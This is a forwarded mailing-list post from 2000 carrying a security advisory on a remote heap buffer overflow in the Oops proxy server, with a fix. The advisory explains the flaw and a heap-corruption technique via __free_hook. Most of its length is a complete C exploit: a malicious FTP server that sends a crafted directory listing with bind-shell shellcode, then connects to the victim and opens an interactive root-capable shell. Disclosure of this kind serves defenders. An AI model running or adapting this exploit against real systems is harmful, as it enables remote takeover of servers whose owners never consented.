Just in case .. 

----- Forwarded message from [EMAIL PROTECTED] -----

> Date:         Mon, 11 Dec 2000 18:55:29 +0100
> From: [EMAIL PROTECTED]
> Subject:      [pkc] remote heap buffer overflow in oops
> To: [EMAIL PROTECTED]
> 
> pkc001.txt
> 
> --- Packet Knights Advisory 001 ---
> 
> http://www.pkcrew.org
> 
> Author : |CyRaX| <[EMAIL PROTECTED]>
> 
> Application : Oops proxy server 1.4.22 1.4.6 and maybe prior
> 
> Type: heap buffer overflow
> 
> --- The problem ---
> 
> Function list_parser in ftp_utils.c :
> 
> line is the line sent by the ftp server in result of a list command
> 
>    tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);
> p is the line without the filename
> 
>     htmlized_something = html_escaping(p);
> 
> and this is the vulnerable sprintf
> 
> sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ",
>                               icons_host[0]?icons_host:myhostname,
>                               icons_port[0]?icons_port:"80",
>                               icons_path[0]?icons_path:"icons",
>                               icons[type],
>                               alts[type],
>                               htmlized_something);
> 
> well.. as you can see tempbuf allocs strlen(line)*3. The probably tougth
> that the htmlizing of the line can give just a string 3 times bigger than
> the line. But if you look at html_escaping code you see that he translates
> " into &quot; . So putting a large amount of " in the line we can overflow
> tempbuf.
> 
> --- The Solution ---
> 
> Well.. a quick fix could be just changing the alloc line into:
> 
> tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..];
> 
> but you can save more memory allocating tempbuf after the html_escaping.
> Anyway.. the authors were contacted and they're fixing it in a better way.
> 
> --- How to exploit this ---
> 
> As demostrated by the traceroute and slocate exploits, it's possibile to
> overwrite a function pointer modifing a malloc chunk.
> And in this case, after the tempbuf buffer, there is the chunk of
> htmlized_something. So the exploit have to overwrite it, set the the size to
> 0xffffffff to make it a free chunk, put the address of the shellcode into fd
> and the address of the target function pointer into bd (-8), and when the
> free() will call the unlink it will put the shellcode address into
> __free_hook. The problem of the exploit is that we must compute exactly the
> length of tempbuf and hope that malloc will not give it a bigger length,
> overwrite perfectly the chunk, know exactly the address of __free_hook and the
> address of the shellcode.
> As you can see the bigger problem is the shellcode. We can't simply put a
> (not too) large amount of nop, cause the unlink will fill the zone near the
> one pointed by __free_hook with the address of it.. (so.. some illegal
> instrunctions) and the shellcode have to jump them. If instead you point to a
> nop the other nops after that will be overwritten by the unlink() and will
> result in SIGILL.
> So.. this is very hard to exploit.. anyway it's possible..
> I include an example exploit that worked on my slackware 7.0
> 
> --- PKCoops-ex.c ---
> 
> /* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
>  * Coded by |CyRaX| <[EMAIL PROTECTED]>
>  * Packet Knights Crew : www.pkcrew.org
>  * Tested on Slackware 7.0
>  *
>  * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
>  * LordFelix & bikappa : for some hints about heap overflow
>  * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others
> */
> 
> 
> #include <stdio.h>
> #include <stdlib.h>
> #include <netinet/in.h>
> #include <sys/types.h>
> 
> #define ALIGN 0
> #define __FREE_HOOK 0x40175994
> #define SHELLCODE 0x80b1223
> 
> 
> char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
>             "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
>             "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
>             "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
>             "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
>             "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
>             "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
>             "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
>             "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
> 
> 
> int main(int argc,char **argv){
>    int s,s2,clnsock,i;
>    struct sockaddr_in srv,clt;
>    char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
>    unsigned long ip;
>    int h1,h2,h3,h4,p1,p2;
>    u_short port;
>    int passive=0,tmplen,wrtlen;
>    struct malloc_chunk{
>       unsigned int ps;
>       unsigned int sz;
>       struct malloc_chunk *fd;
>       struct malloc_chunk *bd;
>    }mc;
>    fd_set setz;
> 
>    mc.ps=0xffffffff & ~1;
>    mc.sz=0xffffffff;
>    mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
>    mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */
>    memset(magic2,0x41,0);
>    memcpy(magic2+0,&mc,sizeof(mc));
> 
>    memset(magic3,'\x90',50);
>    memcpy(magic3+50,c0de,strlen(c0de));
>    magic3[50+strlen(c0de)]=0;
> 
>    if(argc<4){
>       printf("Proof exploit against oops proxy server heap buffer overflow!\n");
>       printf("by |CyRaX| <[EMAIL PROTECTED]>\n");
>       printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
>       printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
>       printf("your ip: it is necessary for the passive mode\n");
>       printf("hostname len is the len of the host that he *thinks* to have\n");
>       printf("         for example if the hostname is c500 you must put 4 here\n");
> 
>       exit(0);
>    }
>    printf("now set the victim as your proxy in any web browser and go to\n");
>    printf("ftp://<your_ip>\n");
> 
>    for(i=0;i<strlen(argv[1]);i++)if(argv[1][i]=='.')argv[1][i]=',';
> 
> 
>    s=socket(AF_INET,SOCK_STREAM,0);
>    srv.sin_addr.s_addr=INADDR_ANY;
>    srv.sin_port=htons(21);
>    srv.sin_family=AF_INET;
>    if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
>       printf("cannot bind to port 21 !\n");
>       exit(0);
>    }
>    listen(s,1);
>    clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
>    close(s);
>    strcpy(buff,"220 exploit is here :)\r\n");
>    send(clnsock,buff,strlen(buff),0);
>    recv(clnsock,buff,500,0);
>    strcpy(buff,"331 any pass is good d00d\r\n");
>    send(clnsock,buff,strlen(buff),0);
>    recv(clnsock,buff,500,0);
>    strcpy(buff,"230 oky d00d.. login done!\r\n");
>    send(clnsock,buff,strlen(buff),0);
>    while(1){
>       memset(buff,0,500);
>       if(recv(clnsock,buff,500,0)<0)break;
>       if(strstr(buff,"SYST")){
>        strcpy(sndbuff,"215 UNIX Type: L8\r\n");
>        send(clnsock,sndbuff,strlen(sndbuff),0);
>       }
>       if(strstr(buff,"PASV")){
>        srv.sin_port=htons(1322);
>        if(passive==0){
>           s=socket(AF_INET,SOCK_STREAM,0);
>           if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
>              printf("cannot bind to port 1322 for passive mode!\n");
>              exit(0);
>           }
>           listen(s,4);
>           passive=1;
>        }
>        else {
>           close(s2);
>        }
>        sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
>        send(clnsock,sndbuff,strlen(sndbuff),0);
>       }
>       if(strstr(buff,"TYPE")){
>        strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
>        send(clnsock,sndbuff,strlen(sndbuff),0);
>       }
>       if(strstr(buff,"NLST")){
>        if(passive){
>           s2=accept(s,NULL,NULL);
>           strcpy(sndbuff,"150 Opening ASCII mode data connection for file 
>list.\r\n");
>           send(clnsock,sndbuff,strlen(sndbuff),0);
>           sprintf(sndbuff,"%s\r\n",magic3);
>           send(s2,sndbuff,strlen(sndbuff),0);
>           close(s2);
>           strcpy(sndbuff,"226 Transfer complete.!\r\n");
>           send(clnsock,sndbuff,strlen(sndbuff),0);
>       
>        }
>       }
> 
>       if(strstr(buff,"LIST")){
>        strcpy(sndbuff,"150 vieni pure amore!\r\n");
>        s2=accept(s,NULL,NULL);
>       
>        /*   HOW MANY BYTES TO WRITE COMPUTING */
>        tmplen=0;
>        tmplen=strlen("Arwxrwxrwx rooOOOt   \r\n ")*3+strlen(magic2)*3+
>          strlen(magic3)*3;
>        tmplen=tmplen+128; /* dovesok */
>        tmplen=tmplen+atoi(argv[3]);
>        tmplen+=10;
>        wrtlen=strlen("<img src=\"http://:80/icons/unknown.gif\">"
>                      "alt=\"[Unkn] \" ")+atoi(argv[3]);
>        wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt   \r\n")+strlen(magic2);
>        i=0;
> 
>        while((wrtlen-tmplen)<16){
>              magic[i]='"';
>              tmplen+=3; /* 1 *3 */
>              wrtlen+=6; /* &quot; */
>              i++;
>        }
>        magic[i]=0;
>        printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);
>       
>       
>        memset(sndbuff,0,1500);
>        snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
>                 magic,
>                 magic2,
>                 magic3);
>       
>        send(s2,sndbuff,3000,0);
>        strcpy(sndbuff,"226 Ho finito\r\n");
>        send(clnsock,sndbuff,strlen(sndbuff),0);
>        shutdown(s2,2);
>        printf("closed!\n");
>        sleep(5);
>        s2=socket(AF_INET,SOCK_STREAM,0);
>        clt.sin_addr.s_addr=inet_addr(argv[2]);
>        clt.sin_port=htons(3879);
>        clt.sin_family=AF_INET;
>        if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
>           printf("SORRY.. it didn't work!\n");
>           exit(0);
>        }
>        strcpy(sndbuff,"uname -a;id\n");
>        send(s2,sndbuff,strlen(sndbuff),0);
>        while(1){
>           FD_ZERO(&setz);
>           FD_SET(0,&setz);
>           FD_SET(s2,&setz);
>           select(s2+1,&setz,NULL,NULL,NULL);
>           if(FD_ISSET(0,&setz)){
>              memset(sndbuff,0,sizeof(sndbuff));
>              fgets(sndbuff,sizeof(sndbuff),stdin);
>              send(s2,sndbuff,strlen(sndbuff),0);
>           }
>           if(FD_ISSET(s2,&setz)){
>              memset(sndbuff,0,sizeof(sndbuff));
>              recv(s2,sndbuff,sizeof(sndbuff),0);
>              printf("%s",sndbuff);
>           }
>        }
>       }
>       if(strstr(buff,"CWD")){
>        strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
>        send(clnsock,sndbuff,strlen(sndbuff),0);
>       }
>       if(strstr(buff,"PWD")){
>        strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");
>        send(clnsock,sndbuff,strlen(sndbuff),0);
>       }
>       if(strstr(buff,"QUIT")){
>        close(clnsock);
>       }
>    }
>    close(clnsock);
>    close(s);
>    close(s2);
> }
> 
> 
> -- EOF --
> 
> |CyRaX|
> Member Of Packet Knights Crew
> www.pkcrew.org
> 

----- End forwarded message -----
-- 
Philipp Buehler, aka fIpS | sysfive.com GmbH | BOfH | NUCH | <double-p> 
%SYSTEM-F-TOOEARLY, please contact your sysadmin at a sensible time.
Artificial Intelligence stands no chance against Natural Stupidity.
           [X] <-- nail here for new monitor
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